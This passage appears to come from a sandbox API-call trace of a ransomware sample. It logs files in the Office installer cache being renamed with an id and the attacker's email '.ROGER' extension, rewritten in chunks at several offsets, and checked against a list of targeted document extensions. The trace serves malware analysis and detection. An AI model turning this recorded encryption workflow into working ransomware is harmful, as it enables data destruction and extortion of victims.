users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.906] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0044.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.915] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0044.915] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.915] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.931] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.931] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.935] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.935] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0044.935] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.951] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.951] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0045.387] SetEndOfFile (hFile=0x368) returned 1 [0045.387] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0045.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.390] WriteFile (in: hFile=0x368, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.390] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.390] WriteFile (in: hFile=0x368, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.391] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.391] WriteFile (in: hFile=0x368, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.393] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0045.393] CloseHandle (hObject=0x368) returned 1 [0045.394] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0045.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.394] lstrlenW (lpString=".doc") returned 4 [0045.394] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.394] lstrlenW (lpString=".docx") returned 5 [0045.394] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.394] lstrlenW (lpString=".pdf") returned 4 [0045.394] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.394] lstrlenW (lpString=".xls") returned 4 [0045.394] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.394] lstrlenW (lpString=".xlsx") returned 5 [0045.394] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.394] lstrlenW (lpString=".ppt") returned 4 [0045.394] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.394] lstrlenW (lpString=".zip") returned 4 [0045.394] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.394] lstrlenW (lpString=".rar") returned 4 [0045.394] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.394] lstrlenW (lpString=".bz2") returned 4 [0045.394] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.394] lstrlenW (lpString=".7z") returned 3 [0045.394] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.395] lstrlenW (lpString=".dbf") returned 4 [0045.395] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.395] lstrlenW (lpString=".1cd") returned 4 [0045.395] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.395] lstrlenW (lpString=".jpg") returned 4 [0045.395] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.395] lstrlenW (lpString=".doc") returned 4 [0045.395] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString=".docx") returned 5 [0045.395] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.395] lstrlenW (lpString=".pdf") returned 4 [0045.395] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString=".xls") returned 4 [0045.395] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString=".xlsx") returned 5 [0045.395] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.395] lstrlenW (lpString=".ppt") returned 4 [0045.395] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.395] lstrlenW (lpString=".zip") returned 4 [0045.395] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString=".rar") returned 4 [0045.395] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.395] lstrlenW (lpString=".bz2") returned 4 [0045.395] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.395] lstrlenW (lpString=".7z") returned 3 [0045.395] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.396] lstrlenW (lpString=".dbf") returned 4 [0045.396] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.396] lstrlenW (lpString=".1cd") returned 4 [0045.396] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.396] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0045.396] lstrlenW (lpString=".jpg") returned 4 [0045.396] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.396] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0045.396] lstrlenW (lpString="OnoteLR.cab") returned 11 [0045.396] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.396] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=17456632) returned 1 [0045.396] CloseHandle (hObject=0x368) returned 1 [0045.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0045.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.397] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0045.397] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.397] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0045.397] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.397] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.402] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.402] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.404] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.404] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.404] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.419] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.419] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0045.675] SetEndOfFile (hFile=0x368) returned 1 [0045.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0045.678] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.678] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.679] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.679] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.680] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0045.680] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.682] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0045.682] CloseHandle (hObject=0x368) returned 1 [0045.683] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0045.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.683] lstrlenW (lpString=".doc") returned 4 [0045.683] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.683] lstrlenW (lpString=".docx") returned 5 [0045.683] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.683] lstrlenW (lpString=".pdf") returned 4 [0045.683] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.683] lstrlenW (lpString=".xls") returned 4 [0045.683] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.683] lstrlenW (lpString=".xlsx") returned 5 [0045.683] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.683] lstrlenW (lpString=".ppt") returned 4 [0045.683] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.683] lstrlenW (lpString=".zip") returned 4 [0045.683] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.683] lstrlenW (lpString=".rar") returned 4 [0045.683] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.683] lstrlenW (lpString=".bz2") returned 4 [0045.683] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.683] lstrlenW (lpString=".7z") returned 3 [0045.683] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.683] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.683] lstrlenW (lpString=".dbf") returned 4 [0045.683] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.684] lstrlenW (lpString=".1cd") returned 4 [0045.684] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.684] lstrlenW (lpString=".jpg") returned 4 [0045.684] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.684] lstrlenW (lpString=".doc") returned 4 [0045.684] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString=".docx") returned 5 [0045.684] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.684] lstrlenW (lpString=".pdf") returned 4 [0045.684] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString=".xls") returned 4 [0045.684] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString=".xlsx") returned 5 [0045.684] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.684] lstrlenW (lpString=".ppt") returned 4 [0045.684] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.684] lstrlenW (lpString=".zip") returned 4 [0045.684] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString=".rar") returned 4 [0045.684] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.684] lstrlenW (lpString=".bz2") returned 4 [0045.684] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.684] lstrlenW (lpString=".7z") returned 3 [0045.684] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.684] lstrlenW (lpString=".dbf") returned 4 [0045.685] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.685] lstrlenW (lpString=".1cd") returned 4 [0045.685] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0045.685] lstrlenW (lpString=".jpg") returned 4 [0045.685] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.685] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0045.685] lstrlenW (lpString="GrooveLR.cab") returned 12 [0045.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.685] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fbff1c | out: lpFileSize=0x3fbff1c*=4095519) returned 1 [0045.685] CloseHandle (hObject=0x368) returned 1 [0045.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0045.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.685] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0045.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0045.686] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0x0) returned 1 [0045.686] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.686] ReadFile (in: hFile=0x368, lpBuffer=0x4a70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4a70058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.688] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.688] ReadFile (in: hFile=0x368, lpBuffer=0x4ab0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4ab0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.691] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3fbfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.691] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc2c | out: lpNewFilePointer=0x0) returned 1 [0045.691] ReadFile (in: hFile=0x368, lpBuffer=0x4af0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3fbfc38, lpOverlapped=0x0 | out: lpBuffer=0x4af0058*, lpNumberOfBytesRead=0x3fbfc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.705] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.706] WriteFile (in: hFile=0x368, lpBuffer=0x4a70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3fbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x4a70020*, lpNumberOfBytesWritten=0x3fbfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.002] SetEndOfFile (hFile=0x368) returned 1 [0046.002] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0046.002] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.002] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.004] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.004] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.006] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x3fbfc7c | out: lpNewFilePointer=0x0) returned 1 [0046.006] WriteFile (in: hFile=0x368, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3fbfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3fbfc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.008] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0046.008] CloseHandle (hObject=0x368) returned 1 [0046.008] SetFileAttributesW 